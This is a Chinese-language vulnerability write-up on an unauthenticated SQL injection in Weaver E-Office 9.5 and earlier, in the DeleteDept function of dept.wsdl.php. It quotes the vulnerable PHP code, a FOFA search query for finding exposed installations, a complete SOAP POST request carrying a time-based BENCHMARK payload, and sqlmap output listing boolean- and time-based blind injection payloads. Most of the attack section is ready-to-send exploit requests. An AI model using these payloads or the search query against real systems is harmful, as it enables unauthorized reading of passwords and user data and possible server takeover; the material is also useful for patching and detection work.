漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office dept.wsdl.php 接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语句

app="泛微-EOffice"

漏洞分析

同样通过解析 wsdl 后有很多功能

webservice-json/dept/dept.wsdl.php 的 DeleteDept 业务逻辑如下

function DeleteDept( $DeptId )
{
    checkcurrentsession( );
    $Dept = new department( );
    $insertResult = $Dept->deleteDept( $DeptId );
    return $insertResult;
}

$DeptId 首先带入 deleteDept 函数

public function deleteDept( $deptid )
    {
        global $connection;
        if ( $deptid == "" )
        {
            return false;
        }
        if ( !$this->checkDeptNoUser( $deptid ) )
        {
            return false;
        }
        $sql = "DELETE FROM department WHERE DEPT_ID='".$deptid."'";
        exequery( $connection, $sql );
        return true;
    }

又首先进入 checkDeptNoUser 函数

public function checkDeptNoUser( $deptid )
    {
        global $connection;
        if ( $deptid == "" )
        {
            return false;
        }
        $sql = "SELECT COUNT(*) AS cnt FROM USER WHERE DEPT_ID='".$deptid."'";
        $rs = exequery( $connection, $sql );
        $row = mysql_fetch_array( $rs );
        if ( 0 < $row['cnt'] )
        {
            return false;
        }
        return true;
    }

$deptid 被直接拼接进SQL语句后执行，无任何过滤校验，造成SQL注入漏洞。

漏洞复现

POST /webservice-json/dept/dept.wsdl.php HTTP/1.1
User-Agent: Apache-HttpClient/4.5.5 (Java/17.0.12)
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
SOAPAction: urn:DepartmentServicewsdl#DeleteDept
Content-Type: text/xml;charset=UTF-8
Host: eoffice.mrxn.net:8082
Content-Length: 460

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:DepartmentServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:DeleteDept soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <DeptId xsi:type="xsd:string">gero' AND 2462=BENCHMARK(5000000,MD5(0x65486473))-- rXUd</DeptId>
      </urn:DeleteDept>
   </soapenv:Body>
</soapenv:Envelope>

成功在延时 10 秒（因为先进入 checkDeptNoUser 函数再执行deleteDept的select语句，总共执行两次）

sqlmap 结果如下

sqlmap identified the following injection point(s) with a total of 418 HTTP(s) requests:
---
Parameter: SOAP #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:DepartmentServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:DeleteDept soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <DeptId xsi:type="xsd:string">gero' RLIKE (SELECT (CASE WHEN (6681=6681) THEN 0x6765726f ELSE 0x28 END))-- IpLL</DeptId>
      </urn:DeleteDept>
   </soapenv:Body>
</soapenv:Envelope>

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:DepartmentServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:DeleteDept soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <DeptId xsi:type="xsd:string">gero' AND 2462=BENCHMARK(5000000,MD5(0x65486473))-- rXUd</DeptId>
      </urn:DeleteDept>
   </soapenv:Body>
</soapenv:Envelope>
---